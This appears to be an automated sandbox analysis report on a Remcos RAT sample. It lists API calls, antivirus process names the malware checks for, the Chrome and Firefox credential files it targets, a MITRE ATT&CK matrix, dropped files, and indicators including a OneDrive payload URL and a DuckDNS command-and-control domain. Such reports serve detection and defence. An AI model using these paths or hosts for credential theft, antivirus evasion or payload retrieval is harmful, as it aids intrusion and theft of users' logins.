Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_1_0045243C
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: GetLocaleInfoW,	6_1_00452543
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	6_1_00452610
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: GetLocaleInfoA,	6_1_0040F8D1
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: GetLocaleInfoW,	6_1_004488ED
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	6_1_00451CD8
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: EnumSystemLocalesW,	6_1_00451F50
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: EnumSystemLocalesW,	6_1_00451F9B
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: EnumSystemLocalesW,	10_1_00452036
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	10_1_004520C3
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: GetLocaleInfoW,	10_1_00452313
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: EnumSystemLocalesW,	10_1_00448404
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	10_1_0045243C
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: GetLocaleInfoW,	10_1_00452543
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	10_1_00452610
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: GetLocaleInfoA,	10_1_0040F8D1
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: GetLocaleInfoW,	10_1_004488ED
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	10_1_00451CD8
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: EnumSystemLocalesW,	10_1_00451F50
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: EnumSystemLocalesW,	10_1_00451F9B
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: CoInitialize,WinExec,WinExec,RtlMoveMemory,GetCurrentProcess,EnumSystemLocalesA,ExitProcess,	15_2_02E3D5D0
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	15_2_02E25A90
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: GetLocaleInfoA,	15_2_02E2A7CC
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	15_2_02E25B9B
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: GetCurrentProcess,EnumSystemLocalesA,ExitProcess,	15_2_02E45F9F

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe

Code function: 0_2_02D691C8 GetLocalTime,

0_2_02D691C8

Source: C:\Users\Public\Libraries\nmfsxfjX.pif

Code function: 6_1_0041B60D GetComputerNameExW,GetUserNameW,

6_1_0041B60D

Source: C:\Users\Public\Libraries\nmfsxfjX.pif

Code function: 6_1_00449190 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

6_1_00449190

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe

Code function: 0_2_02D6B748 GetVersionExA,

0_2_02D6B748

Source: udVh4Ist4Z.exe, udVh4Ist4Z.exe, 00000000.00000002.2148072025.0000000002C60000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2162661886.000000001517D000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014027000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, netutils.dll.0.dr	Binary or memory string: cmdagent.exe
Source: udVh4Ist4Z.exe, udVh4Ist4Z.exe, 00000000.00000002.2148072025.0000000002C60000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2162661886.000000001517D000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014027000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, netutils.dll.0.dr	Binary or memory string: quhlpsvc.exe
Source: udVh4Ist4Z.exe, udVh4Ist4Z.exe, 00000000.00000002.2148072025.0000000002C60000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2162661886.000000001517D000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014027000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, netutils.dll.0.dr	Binary or memory string: avgamsvr.exe
Source: udVh4Ist4Z.exe, udVh4Ist4Z.exe, 00000000.00000002.2148072025.0000000002C60000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2162661886.000000001517D000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014027000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, netutils.dll.0.dr	Binary or memory string: TMBMSRV.exe
Source: udVh4Ist4Z.exe, udVh4Ist4Z.exe, 00000000.00000002.2148072025.0000000002C60000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2162661886.000000001517D000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014027000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, netutils.dll.0.dr	Binary or memory string: Vsserv.exe
Source: udVh4Ist4Z.exe, udVh4Ist4Z.exe, 00000000.00000002.2148072025.0000000002C60000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2162661886.000000001517D000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014027000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, netutils.dll.0.dr	Binary or memory string: avgupsvc.exe
Source: udVh4Ist4Z.exe, udVh4Ist4Z.exe, 00000000.00000002.2148072025.0000000002C60000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2162661886.000000001517D000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014027000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, netutils.dll.0.dr	Binary or memory string: avgemc.exe
Source: udVh4Ist4Z.exe, udVh4Ist4Z.exe, 00000000.00000002.2148072025.0000000002C60000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2162661886.000000001517D000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014027000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, netutils.dll.0.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Remcos RAT

Source: Yara match	File source: 10.1.nmfsxfjX.pif.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.1.nmfsxfjX.pif.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.1.nmfsxfjX.pif.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.1.nmfsxfjX.pif.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.1.nmfsxfjX.pif.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.1.nmfsxfjX.pif.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2139310911.000000007E9D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000001.2293209618.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2163236530.000000007EA60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000001.2293209618.0000000000490000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000001.2293209618.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000001.2559054856.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000001.2139650597.0000000000490000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000001.2559054856.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000001.2559054856.0000000000490000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: udVh4Ist4Z.exe PID: 2056, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nmfsxfjX.pif PID: 5000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nmfsxfjX.pif PID: 6400, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nmfsxfjX.pif PID: 2420, type: MEMORYSTR

Contains functionality to steal Chrome passwords or cookies

Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data		6_1_0040BA12
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data		10_1_0040BA12

Contains functionality to steal Firefox passwords or cookies

Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\	6_1_0040BB30
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: \key3.db	6_1_0040BB30
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\	10_1_0040BB30
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: \key3.db	10_1_0040BB30

Remote Access Functionality

Detected Remcos RAT

Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Mutex created: \Sessions\1\BaseNamedObjects\Rmc-L24XL1	Jump to behavior
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Mutex created: \Sessions\1\BaseNamedObjects\Rmc-L24XL1	Jump to behavior
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Mutex created: \Sessions\1\BaseNamedObjects\Rmc-L24XL1

Yara detected Remcos RAT

Source: Yara match	File source: 10.1.nmfsxfjX.pif.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.1.nmfsxfjX.pif.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.1.nmfsxfjX.pif.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.1.nmfsxfjX.pif.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.1.nmfsxfjX.pif.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.1.nmfsxfjX.pif.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2139310911.000000007E9D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000001.2293209618.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2163236530.000000007EA60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000001.2293209618.0000000000490000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000001.2293209618.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000001.2559054856.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000001.2139650597.0000000000490000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000001.2559054856.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000001.2559054856.0000000000490000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: udVh4Ist4Z.exe PID: 2056, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nmfsxfjX.pif PID: 5000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nmfsxfjX.pif PID: 6400, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nmfsxfjX.pif PID: 2420, type: MEMORYSTR

Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: cmd.exe		6_1_0040569A
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: cmd.exe		10_1_0040569A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Valid Accounts	3 Native API	1 Scripting	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Shared Modules	1 DLL Side-Loading	1 Bypass User Account Control	2 Obfuscated Files or Information	111 Input Capture	1 Account Discovery	Remote Desktop Protocol	111 Input Capture	21 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	1 Valid Accounts	1 Valid Accounts	1 Timestomp	2 Credentials In Files	1 System Service Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Service Execution	1 Windows Service	11 Access Token Manipulation	1 DLL Side-Loading	NTDS	1 System Network Connections Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	21 Registry Run Keys / Startup Folder	1 Windows Service	1 Bypass User Account Control	LSA Secrets	3 File and Directory Discovery	SSH	Keylogging	113 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	321 Process Injection	11 Masquerading	Cached Domain Credentials	34 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	21 Registry Run Keys / Startup Folder	1 Valid Accounts	DCSync	131 Security Software Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Access Token Manipulation	Proc Filesystem	1 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	321 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
udVh4Ist4Z.exe	63%	ReversingLabs	Win32.Trojan.Remcos
udVh4Ist4Z.exe	66%	Virustotal		Browse
udVh4Ist4Z.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\Public\Libraries\netutils.dll	100%	Avira	TR/AVI.Agent.rqsyc
C:\Users\Public\Libraries\Xjfxsfmn.PIF	100%	Joe Sandbox ML
C:\ProgramData\Remcos\remcos.exe	3%	ReversingLabs
C:\ProgramData\Remcos\remcos.exe	0%	Virustotal		Browse
C:\Users\Public\Libraries\Xjfxsfmn.PIF	63%	ReversingLabs	Win32.Trojan.Remcos
C:\Users\Public\Libraries\Xjfxsfmn.PIF	66%	Virustotal		Browse
C:\Users\Public\Libraries\easinvoker.exe	0%	ReversingLabs
C:\Users\Public\Libraries\easinvoker.exe	0%	Virustotal		Browse
C:\Users\Public\Libraries\netutils.dll	83%	ReversingLabs	Win64.Trojan.Acll
C:\Users\Public\Libraries\netutils.dll	68%	Virustotal		Browse
C:\Users\Public\Libraries\nmfsxfjX.pif	3%	ReversingLabs
C:\Users\Public\Libraries\nmfsxfjX.pif	0%	Virustotal		Browse
C:\Users\user\AppData\Roaming\Remcos\remcos.exe	3%	ReversingLabs
C:\Users\user\AppData\Roaming\Remcos\remcos.exe	0%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
dual-spov-0006.spov-msedge.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	0%	URL Reputation	safe
http://geoplugin.net/json.gp	100%	URL Reputation	phishing
http://geoplugin.net/json.gp	100%	URL Reputation	phishing
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://geoplugin.net/json.gp/C	100%	URL Reputation	phishing
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	URL Reputation	safe
http://ocsp.sectigo.com0C	0%	URL Reputation	safe
kenoss.duckdns.org	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
dual-spov-0006.spov-msedge.net	13.107.137.11	true	true	0%, Virustotal, Browse	unknown
onedrive.live.com	unknown	unknown	false		high
xirfeg.sn.files.1drv.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://onedrive.live.com/download?resid=9ADCDEDB531E38FE%21107&authkey=!AIYYWqDY10e5-pU	false		high
kenoss.duckdns.org	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://geoplugin.net/json.gp	nmfsxfjX.pif	true	URL Reputation: phishing URL Reputation: phishing	unknown
https://xirfeg.sn.files.1drv.com/y4mA7VtsLBctMjPvNeW-nBjYzK-kMyIJaIZdFZhf0ai66qWNCa5Jqdc_iM5uVKa3zxn	Xjfxsfmn.PIF, 0000000F.00000003.2559378885.000000000076D000.00000004.00000020.00020000.00000000.sdmp, Xjfxsfmn.PIF, 0000000F.00000003.2559378885.0000000000764000.00000004.00000020.00020000.00000000.sdmp	false		high
https://xirfeg.sn.files.1drv.com/y4mmJkpN2-URpDPce1turH6bNoPZHs8qohGTBPPgUSqUu1WeGjpTknCmr6n8UWtLOer	udVh4Ist4Z.exe, 00000000.00000002.2140385254.000000000071C000.00000004.00000020.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2140385254.000000000072A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://onedrive.live.com/S	Xjfxsfmn.PIF, 0000000F.00000003.2559378885.00000000006F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://xirfeg.sn.files.1drv.com:443/y4mA7VtsLBctMjPvNeW-nBjYzK-kMyIJaIZdFZhf0ai66qWNCa5Jqdc_iM5uVKa	Xjfxsfmn.PIF, 0000000F.00000003.2559378885.000000000076D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.sectigo.com0	udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
